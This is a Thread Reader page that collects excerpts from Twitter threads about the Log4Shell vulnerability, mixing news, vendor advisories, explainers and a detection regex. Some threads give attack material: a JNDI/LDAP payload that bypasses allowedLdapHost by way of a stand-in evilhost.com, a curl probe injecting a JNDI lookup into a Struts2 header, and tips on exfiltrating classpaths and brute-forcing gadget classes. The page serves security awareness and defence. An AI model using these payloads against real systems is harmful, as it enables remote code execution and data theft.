Discover and read the best of Twitter Threads about #Log4shell

Most recents (24)

Ok... It's the time of year I treasure. @VZDBIR reading at a coffee shop. This is going to be a live thread of love for DBIR, folks like @alexcpsec and @gdbassett, footnotes, and exciting uses of data visualization. 1/x Image
First: @VZDBIR predictions pre-reading
- Ransomware up! Thus making intrusions up! (Shocker,Malware that tells you you are infected makes for better detection)
- Increased threat to OT (colonial)
- BEC is actually the real threat
- APTs reduced in volume but higher in impact 2/x
Ahhh right off the bat. Can we just do this to begin every ppt, whitepaper, blog and conference talk? Then add definitions of Risk, Vulnerability, and Threat? Would be nice to educate.folks 3/x Image
Read 48 tweets
NEW on #Log4Shell...

Horde of miner bots and backdoors leveraged #Log4J to attack VMware Horizon servers

1/14
In the wake of December 2021 exposure of a remote code execution vulnerability (dubbed “Log4Shell”) in the ubiquitous Log4J Java logging library, we tracked widespread attempts to scan for and exploit the weakness—particularly among cryptocurrency mining bots. 2/14
The vulnerability affected hundreds of software products, making it difficult for some organizations to assess their exposure. 3/14
Read 14 tweets
Happening now-@CISAgov update on #Log4j shell: "This really is the most serious vulnerability I've seen in my career" per Director @CISAJen

Likely present in hundreds of millions of products worldwide, & exploiting vulnerability "trivial" she adds
"We have seen widespread exploitation" by criminal actors & seen some reports of more significant activity, per @CISAJen

But @CISAgov cannot independently confirm some reported use/exploitation by foreign adversaries
.@CISAgov continues to push for remediation and strengthening security protocols as it leads US response, per @CISAJen

CISA's webpage with guidance has already gotten 330,000 page views since it was stood up almost a month ago

Another tool downloaded @ 4,000 times
Read 11 tweets
NEW on #Log4Shell

Logjam: #Log4j exploit attempts continue in globally distributed scans, attacks

China and Russia, Kinsing miner botnet dominate sources of exploit attempts...

1/16
Since the first vulnerability in the Apache Foundation’s Log4j logging tool was revealed on December 10, three sets of fixes to the Java library have been released as additional vulnerabilities were uncovered. 2/16
This rapid iteration of fixes has left software developers and organizations worldwide scrambling to assess and mitigate their exposure with nearly daily-changing guidance.

In the meantime, we’ve seen attempts to detect or exploit the vulnerability continue non-stop. 3/16
Read 16 tweets
It's been one of the more eventful weeks in cybersecurity history. In my little corner of the world, it went a little something like this... 1/n
The first #log4j / #log4shell blog from #SURGe @splunk splunk.com/en_us/blog/sec… was published a week ago with @meansec leading from the front and jump-started by @DrShannon2000 and @jsy9981 2/n
Meanwhile, hundreds of Splunkers worked through last weekend to publish our official advisory. If you take one thing from this thread, it should be this! It's updated frequently and includes details about CVE-2021-45046 and more. splunk.com/en_us/blog/bul… 3/n
Read 28 tweets
First mindmap - Am I vulnerable to Log4shell (v5.0, updated with higher impact for CVE-2021-45046)
Second mindmap - How to detect Log4Shell vulnerability ? (v2.0)
Third mindmap - How to protect / shield against this threat #Log4Shell #Mindmap
Read 3 tweets
NEW on #Log4Shell...

Inside the code: How the Log4Shell exploit works

1/21
The critical vulnerability in Apache’s #Log4j Java-based logging utility (CVE-2021-44248) has been called the “most critical vulnerability of the last decade.”

The flaw has forced developers of many software products to push out updates or mitigations to customers. 2/21
And Log4j’s maintainers have published two new versions since the bug was discovered—the second completely eliminating the feature that made the exploit possible in the first place. 3/21
Read 21 tweets
FIX: Here is a PoC in how to bypass allowedLdapHost and allowedClasses checks in Log4J 2.15.0. to achieve RCE: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a} and to bypass allowedClasses just choose a name for a class in the JDK. Deserialization will occur as usual. #Log4Shell 1/n
This happens because how the check was done. the java.net.URI getHost() method returns the value before the # as the real host. But the JNDI/LDAP resolver will resolve to the full hostname string attempting to connect to the malicious LDAP server. 2/n
Also, credits to @pwntester and @_atorralba for being the firsts to point some light on that behavior, if it wasn’t their research I’ll probably not be looking into that. 🙏
Read 3 tweets
📚 tl;dr sec 113

* Log4Shell resources
* @JubbaOnJeans, @yashvi3r Security metrics
* How @netflix scales cloud detections
* @orange_8361 CTF challenges
* @prince_of_pasta Least privilege IAM
* Free @falco_org 101 course
* and more!

tldrsec.com/blog/tldr-sec-…
@JubbaOnJeans @yashvi3r @netflix @orange_8361 @prince_of_pasta @falco_org 📢 Sponsor: @goteleport Teleport 8 delivers industry best practices for remotely accessing Windows and Linux servers, databases, Kubernetes clusters, and internal web applications via a single secure, highly available endpoint. Learn more goteleport.com/blog/rdp-acces…
@JubbaOnJeans @yashvi3r @netflix @orange_8361 @prince_of_pasta @falco_org @goteleport Boring AppSec: an awesome #AppSec newsletter by JubbaOnJeansNewsletter
boringappsec.substack.com

@mattomata Zero-friction “keyless signing” with Github Actions
chainguard.dev/posts/2021-12-…

Building Trust in the Software Supply Chain w/ Binary Transparency
binary.transparency.dev
Read 12 tweets
I've just developed a new regex to detect #log4Shell attack attempts in #log4j. It supports obfuscated payloads using recently discovered bypass words.

If you find new bypasses, please let me know. I'll do my best to keep it up-to-date!

Regex and details in this thread (1/8) Image
🔍 Regex:
\${(?i)((\${|}+)?(j|(([^-]*?:)+?'?-?(?1)'?))'?}*)((\${|}+)?(n|(([^-]*?:)+?'?-?(?6)'?))'?}*)((\${|}+)?(d|(([^-]*?:)+?'?-?(?11)'?))'?}*)((\${|}+)?(i|ı|(([^-]*?:)+?'?-?(?16)'?))'?}*)

(2/8)
💡 Supported obfuscation methods:
- generic lookup functions (lower, upper, date, ...)
- :- syntax (${X:Y:Z:-VAL})
- random characters in lookup blocks
- random case in lookup blocks
- abrupt termination of lookup block (${lower:})
- ...

(3/8)
Read 8 tweets
The whole #Log4Shell kerfuffle is yet another reminder that the relationship between enterprises and the open source ecosystem is just broken. We, and I am sure many other foundations, are getting requests from enterprise IT depts "is version X from 2014 of project Y affected?"
These are B$ companies that have never ever contributed to these projects in any way. Not a single issue, patch, dollar, or even a thank you. And yet when the shit hits the fan the software is "strategic" or "critical infrastructure".
As a gross generalization I think tech companies have largely figured out that they should contribute/support the projects that they have dependencies on. It's not perfect, but it's certainly improving.
Read 6 tweets
10 #Log4Shell Facts vs Fiction: a 🧵
1. 1.x is NOT vuln to this RCE. While it doesn't have another RCE, it requires access to send serialized data to a listener ON the log server. This is much MUCH harder to exploit and kind of rare for a Log4j server to be running.
2. #Log4Shell attacks can show up hours after the trigger is sent. We are just starting to understand how deep this rabbit hole goes. I personally had BurpCollaborator and CanaryTokens hit 6-8 hours after they were sent.
3. It's not just web servers that are vulnerable. All the avenues that attackers are still being researched. I have seen SSID AP names, email headers, usernames on social media, Pastebin file names, book reviews, SMS, trouble tickets, and pull requests with attack strings.
Read 12 tweets
How to attack any JDK version for log4j "without" guessing classpath on server?

Try to exfiltrate the class path using ${sys:java.class.path} or ${env:CLASSPATH}.

What if it fails? Don't forget java. net.URL is serializable! You can bruteforce ClassName

github.com/BishopFox/Gadg…
So, the idea is to retrieve the remote Java ClassPaths using GadgetProbe.

It is trivial to create a serializable payload by iterating through commonly used classname signatures and use github.com/pimps/JNDI-Exp… to serve it.

This way you will know libraries used on classpath
But what if the remote server uses a library on classpath whose gadget chain is not present on YSOSerial?

Two things are possible
1.) Manual audit the library to find Gadget (Refer: synacktiv.com/publications/f… )

2.) Automate Gadget Discovery - github.com/JackOfMostTrad…

#log4shell
Read 5 tweets
In a conversation I had with some folks yesterday about different exploit techniques for CVE-2021-44228, there was some confusion around how the /Basic/Command JNDI strings work. Let me break down what's happening here in a🧵(1/8)

#Log4Shell #log4j
First, these URIs are not a native part of the LDAP protocol. They aren't being handled by the JNDI lookup internally, and still require an outbound TCP connection to the attacker's malicious TCP server.

#Log4Shell #log4j

(2/8)
These URIs are observed when attackers use JNDIExploit for their malicious LDAP server. The original repo, github.com/0x727/JNDIExpl…, is no longer available, but this is a mirror of that repo I believe:

github.com/zzwlpx/JNDIExp…

#Log4Shell #log4j

(3/8)
Read 8 tweets
#Log4Shell Hell: anatomy of an exploit outbreak

A vulnerability in a widely-used Java logging component is exposing untold numbers of organizations to potential remote code attacks and information exposure...

1/16
On December 9, a severe remote code vulnerability was revealed in Apache’s Log4J , a very common logging system used by developers of web and server applications based on Java and other programming languages. 2/16
The vulnerability affects a broad range of services and applications on servers, making it extremely dangerous—and the latest updates for those server applications urgent. 3/16
Read 16 tweets
1/16🧵 A #thread on how badly #CDNmedia is crippled by substituting journalism with public relations amid concentrated, consolidated, & political ownership

This isn't just about revenue, though the Canada Revenue Agency (#CRA) will serve as this week's textbook example (con't)
2/16🧵 #CDNmedia #CDNpoli #CRA

Yesterday you might've seen this vanilla story about Revenue Canada taking its site offline for some miscellaneous 'global #security vulnerability'

It was a whole lot of 'everything's fine' & 'nothing to see here' #InfoSec

archive.md/H0K1T
3/16🧵 #CDNpoli #CRA

That story was written by Canadian Press, that now funds reporters via Facebook corporate sponsorship in an official & ongoing #CDNmedia alliance

It was published without a byline at 11pm on Saturday night (when few would see it) & syndicated by Global News
Read 17 tweets
If you have a Struts2 target, you can try to find if its vulnerable to #Log4Shell

curl -vv -H "If-Modified-Since: \${jndi:ldap://localhost:80/abc}" http://localhost:8080/struts2-showcase/struts/utils.js

#bugbountytips #log4jRCE #bugbounty #infosec #cybersecurity #redteam 1/n Image
"DefaultStaticContentLoader" class which loads static assets in Struts2 logs a warning if the date passed in "If-Modified-Since" is invalid.

Reference:

attackerkb.com/topics/in9sPR2…

2/n
List of default static asset paths in Struts2 (taken from the Rapid7 analysis):

tooltip.gif
domtt.css
utils.js
domTT.js
inputtransfersselect.js
optiontransferselect.js

3/n
Read 3 tweets
With all the chaos going on, I thought to put some important info about Java Log4j issue
1. only version affected between >= 2.0 and <=2.14.1 are affected
2. If your application is not externally exposed, its low risk
3. version 2.15.0 of log4j released without this issue
A 🧵
JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. In these versions com.sun.jndi.ldap.object.trustURLCodebase is set to false meaning JNDI cannot load remote code using LDAP.
Exploit Requirements
- A server with a vulnerable log4j version (listed above),
- an endpoint with any protocol (HTTP, TCP, etc) that allows an attacker to send the exploit string,
- and a log statement that logs out the string from that request.
Read 9 tweets
Hey #infosec peeps, many of us are tired, frustrated, and exasperated by #Log4Shell.

That said, how about we not blast developers en-masse or even within OSS or even within the Log4j project. Let's remember we have culpability here as well.

1/
We did nothing with a warning that was given to us in 2016 at BlackHat. Not one detection rule or scanner policy was created.

Despite extensive OSS security research done by orgs and academia, we failed to find this vuln in probably the single most popular Java package.

2/
How many of us are scrambling now because basic security controls (WAF's, Outbound connectivity lockdowns, etc.) that could have limited/prevented exploit of this vulnerability don't exist in our environments?

3/
Read 6 tweets
Explaining #log4j for non technical people, because the internet is burning down and y'all might want to know what's happening and why there's all this "${jndi:ldap" stuff out there

#Log4Shell #log4jRCE

⬇️
Log4j is a popular logging library used in Java programming language.

A logger is a piece of software that saves data on a computer. It is used to monitor what is happening, determine if the software runs smoothly, or catch information to help debugging when things go wrong.
It logs a lot of information. When you browse to a website, it will write down what IP address you have, what browser you are using (firefox, chrome, edge... ), when you made the request, what page you accessed... and more!
Read 10 tweets
1/ #Log4Shell Status determination

# Block Rules / Log-Based Detection
There's no effective or rather gapless way to detect attacks that use log4shell due to the many ways to obfuscate the strings.
Don't put too much trust in any filter/detection pattern. All can be bypassed.
..
2/ # Behaviour Based Detection

We thought about network based detection, but it could be any remote port and any remote system. Java can have many legitimate outgoing connections & often has suspicious sub processes.
3/ # Vulnerability Detection

It's difficult to find vulnerable software. It could be the web app, the ticket mgmt that receives contact form content or the backup software. Vuln scanners won't give a complete picture.
Discovery could take months.
Try to use the Canary Tokens.
Read 6 tweets
Got one hit on my honneypot for #log4j during the night.

This one is not trying to bypass detection and still uses basic payload to trigger the jndi vuln. Image
The IP address seems to still be up and responding, but the port is closed now. Image
The base64 payload decodes as a wget command to get a shell script on another server Image
Read 6 tweets
ICYMI, this is how the #log4j #Log4Shell flaw works (in simple english), a 🧵
1. Victim is running a Java Web that uses the log4j logging lib
2. The victim web app has code that logs http request payloads/headers with log statements (example User-Agent)
1/ Image
3. Attacker identifies vulnerable app and makes a request to the server with the User-Agent Value set to this. What does this mean? 2/ Image
jndi == Java Naming and Directory Interface. Allows Java apps to access multiple apis for LDAP, Remote Method Invocation (RMI), etc through the JNDI Interface
4. The attacker tries to get the log4j library to lookup an LDAP server through JNDI 3/
Read 9 tweets

Related hashtags

Did Thread Reader help you today?

Support us! We are indie developers!


This site is made by just two indie developers on a laptop doing marketing, support and development! Read more about the story.

Become a Premium Member ($3.00/month or $30.00/year) and get exclusive features!

Become Premium

Too expensive? Make a small donation by buying us coffee ($5) or help with server cost ($10)

Donate via Paypal Become our Patreon

Thank you for your support!